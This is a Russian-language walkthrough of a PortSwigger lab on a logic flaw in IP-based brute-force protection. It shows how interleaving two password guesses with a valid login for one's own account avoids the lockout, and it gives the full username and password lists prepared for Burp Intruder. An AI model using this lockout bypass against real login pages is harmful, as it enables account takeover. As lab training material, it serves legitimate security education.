На странице
Сбой защиты от брутфорса с блокировкой IP
Лаборатория
Broken brute-force protection, IP block · Practitioner
Решение
Дано
This lab is vulnerable due to a logic flaw in its password brute-force protection. To solve the lab, brute-force the victim's password, then log in and access their account page.
Your credentials: wiener:peter
Victim's username: carlos
Candidate passwords
Анализ задания
Есть уязвимый к брутфорсу сайт, защита — блокировка IP. Нам дали валидные креды для доступа, и есть имя пользователя для подбора пароля.
Разведка
Посмотрим работу функции логина на сайте:
POST /login
username=carlos&password=test
<p class=is-warning>Incorrect password</p>
Сделали ещё 2 попытки. На третью:
<p class=is-warning>You have made too many incorrect login attempts. Please try again in 1 minute(s).</p>
Посмотрим поведение сервера, если мы будем делать 2 неудачные попытки, а потом будем осуществлять успешный вход с данными wiener / peter. Закинем в репитер 2 запроса: один для пользователя carlos, другой для wiener.
Делаем 2 подбора — всё ок, кидаем логин для wiener — всё ок. Делаем ещё раз подбор 2 раза — всё ок, блокировки нет.
Теперь у нас есть план реализации: 2 попытки подбора пароля, затем успешный вход — и по новой до тех пор, пока не проверим все возможные пароли.
Подготовим 2 списка в любом редакторе. В первый вставим все пароли из предоставленного списка (100). Во втором будем последовательно добавлять carlos, carlos, carlos, wiener. Эти 2 списка мы загрузим в Intruder, поэтому нужно, чтобы они мэтчились. Поэтому в позиции wiener второго списка нам в первый нужно вставить его актуальный пароль — peter. В итоге списки выглядят как:
carlos
carlos
carlos
wiener
carlos
carlos
carlos
wiener
carlos
carlos
carlos
wiener
carlos
carlos
carlos
wiener
carlos
carlos
carlos
wiener
carlos
carlos
carlos
wiener
carlos
carlos
carlos
wiener
carlos
carlos
carlos
wiener
carlos
carlos
carlos
wiener
carlos
carlos
carlos
wiener
carlos
carlos
carlos
wiener
carlos
carlos
carlos
wiener
carlos
carlos
carlos
wiener
carlos
carlos
carlos
wiener
carlos
carlos
carlos
wiener
carlos
carlos
carlos
wiener
carlos
carlos
carlos
wiener
carlos
carlos
carlos
wiener
carlos
carlos
carlos
wiener
carlos
carlos
carlos
wiener
carlos
carlos
carlos
wiener
carlos
carlos
carlos
wiener
carlos
carlos
carlos
wiener
carlos
carlos
carlos
wiener
carlos
carlos
carlos
wiener
carlos
carlos
carlos
wiener
carlos
carlos
carlos
wiener
carlos
carlos
carlos
wiener
carlos
carlos
carlos
wiener
carlos
carlos
carlos
wiener
carlos
carlos
carlos
wiener
carlos
carlos
carlos
wiener
carlos
carlos
carlos
wiener
И пароли:
123456
password
12345678
peter
qwerty
123456789
12345
peter
1234
111111
1234567
peter
dragon
123123
baseball
peter
abc123
football
monkey
peter
letmein
shadow
master
peter
666666
qwertyuiop
123321
peter
mustang
1234567890
michael
peter
654321
superman
1qaz2wsx
peter
7777777
121212
000000
peter
qazwsx
123qwe
killer
peter
trustno1
jordan
jennifer
peter
zxcvbnm
asdfgh
hunter
peter
buster
soccer
harley
peter
batman
andrew
tigger
peter
sunshine
iloveyou
2000
peter
charlie
robert
thomas
peter
hockey
ranger
daniel
peter
starwars
klaster
112233
peter
george
computer
michelle
peter
jessica
pepper
1111
peter
zxcvbn
555555
11111111
peter
131313
freedom
777777
peter
pass
maggie
159753
peter
aaaaaa
ginger
princess
peter
joshua
cheese
amanda
peter
summer
love
ashley
peter
nicole
chelsea
biteme
peter
matthew
access
yankees
peter
987654321
dallas
austin
peter
thunder
taylor
matrix
peter
mobilemail
mom
monitor
peter
monitoring
montana
moon
peter
moscow
Такое не прошло :) Я тут сделал 3 попытки подбора в ряд — надо переделать: 2 попытки, потом успешный вход. Поправим списки.
Но всё равно блок происходит…
А, блин, надо поставить в настройках, чтобы отправлялся 1 запрос за раз, без параллелизации, поэтому нас в блок и кидало, т.к. нам нужно отправлять запросы последовательно, один за одним. И ещё 0-ой запрос поправить нужно было, поскольку он улетал как с неправильным паролем, и ломался наш флоу атаки (попадали в блок).
Отсортируем результаты атаки по коду ответа — 302. Находим нагрузку с carlos — carlos / 121212.
Лаба решена.
Ещё в этой категории
Эксплуатация небезопасной десериализации через функции приложения (PortSwigger Lab)
Подмена поля `avatar_link` в объекте сессии для удаления произвольного файла через функцию удаления аккаунта.
Изменение типов сериализованных данных (PortSwigger Lab)
Эксплуатируем нестрогое сравнение PHP, меняя тип `access_token` на целое `0` и обходя аутентификацию.
Изменение сериализованных объектов (PortSwigger Lab)
Меняем булево поле `admin` в PHP-сериализованной куке сессии и получаем права администратора.